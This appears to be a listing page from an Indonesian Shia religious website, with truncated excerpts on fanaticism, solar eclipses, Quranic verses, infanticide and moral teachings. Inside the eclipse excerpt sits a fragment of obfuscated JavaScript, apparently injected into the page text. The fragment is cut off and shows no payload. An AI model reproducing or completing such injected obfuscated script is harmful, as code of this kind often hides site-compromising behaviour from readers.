Situs Resmi Komisi Bimbingan dan Dakwah Dewan Syura Ahlulbait Indonesia (ABI)

June 2020

Pendahuluan Fanatisme yang dimaksud ialah sikap atau tindakan berupa ajakan seseorang untuk membantu kerabatnya agar berkomplot melawan pihak yang memusuhi mereka, baik itu sebagai pihak penindas maupun tertindas. Seorang yang fanatik itu yang membantu kelompoknya dalam penindasan, marah kepada pihak lain karena membela kerabatnya dan mempertahankan

Gerhana matahari terjadi pada saat cahaya matahari terhalang oleh Bulan yang mengakibatkan bayang-bayang Bulan jatuh di permukaan Bumi. Gerhana matahari terjadi di sekitar waktu Newmoon (ijtimak) dan terlihat dari belahan sang bumi. Selengkapnya klik dan lihat infografis di bawah ini: Baca: Infografis: Tatacara Salat Ayat function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let

إِنَّكَ لَا تُسۡمِعُ ٱلۡمَوۡتَىٰ وَلَا تُسۡمِعُ ٱلصُّمَّ ٱلدُّعَآءَ إِذَا وَلَّوۡاْ مُدۡبِرِينَ. وَمَآ أَنتَ بِهَٰدِي ٱلۡعُمۡيِ عَن ضَلَٰلَتِهِمۡۖ إِن تُسۡمِعُ إِلَّا مَن يُؤۡمِنُ بِـَٔايَٰتِنَا فَهُم مُّسۡلِمُونَ Sungguh, engkau tidak dapat menjadikan orang yang mati dapat mendengar dan (tidak pula) menjadikan orang yang tuli dapat mendengar seruan, apabila

Oleh: Ust. Husein Alkaff Membunuh Anak Salah satu tradisi sebagian kabilah Arab jahiliyah adalah mengubur anak hidup-hidup. Perbuatan ini mereka lakukan karena faktor ekonomi dan takut miskin sehingga turun ayat 31 surah al-Isra’, atau karena faktor gengsi jahiliyah seperti dijelaskan dalam ayat 58-59 surah an-Nahl. Sebenarnya, membunuh anak

oleh: Ayatullah Makarim Syirazi Luqman al-Hakim diceritakan dalam sebuah surah yang menggunakan namanya itu dalam Al-Quran. Dia berbicara seputar persoalan moral yang berkaitan dengan manusia dan jiwa. Pembahasan ini hanya terkait dua ayat pada surah ini; 18 dan 19. Ayat 18 Luqman berpesan kepada anaknya tentang kesederhanaan, keceriaan,

Oleh: Ayatullah Jawadi Amuli Dan sembahlah Tuhanmu sampai keyakinan mendatangimu. (QS. al-Hijr [15]:99) Bersandarkan pada ayat mulia di atas, maka keyakinan itu merupakan buah atau hasil dari penghambaan. Perlu diketahui bahwa keyakinan yang bersumber dari ibadah itu berbeda dengan keyakinan yang bersumber dari pencapaian ilmu bahkan menyaksikan mukjizat. Keyakinan